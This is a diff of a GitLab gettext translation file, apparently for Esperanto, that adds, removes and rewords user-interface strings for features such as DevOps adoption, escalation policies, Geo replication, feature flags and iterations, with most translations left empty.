+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr "Ne montru denove"
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "ElÅuti"
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
